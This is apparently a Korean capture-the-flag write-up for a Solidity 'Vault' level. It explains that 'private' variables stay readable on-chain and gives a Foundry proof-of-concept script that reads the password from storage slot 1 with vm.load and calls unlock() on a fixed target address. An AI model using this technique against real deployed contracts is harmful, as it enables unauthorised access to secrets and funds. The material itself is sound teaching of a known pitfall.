Solidity에서 private / public 같은 가시성 키워드는
"다른 컨트랙트가 이 변수를 직접 읽을 수 있는지"를 막는 언어 레벨 규칙일 뿐,
블록체인 위에서 데이터를 완전히 숨겨주는 기능이 아님
실제로 이더리움 노드 입장에서는, 모든 컨트랙트 변수는 결국 상태 트리에 있는 "storage slot"에 저장됨
누구나 RPC(eth_getStorageAt)나 도구(Foundry의 vm.load, cast storage 등)를 이용해서
해당 주소와 슬롯 번호만 알면 그 값을 그대로 읽어올 수 있음
→ 정리하면, "private이라고 해서 온체인에서 비밀이 되지는 않는다"는 점이 이 문제를 푸는 핵심
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import {Script, console} from "forge-std/Script.sol";
import {Vault} from "../src/Vault.sol";
contract PoC is Script {
address public target = 0x44A5243F1D8F55a691421FAA97326E945cE87688;
uint256 pk = vm.envUint("PRIV_KEY");
function run() public {
vm.startBroadcast(pk);
//vm.load 명령어를 통해 n번째 slot에 있는 데이터를
//bytes32(uint256(n))으로 지정해서 읽어올 수 있음
bytes32 answer = vm.load(target, bytes32(uint256(1)));
Vault(target).unlock(answer);
console.log(Vault(target).locked());
vm.stopBroadcast();
}
}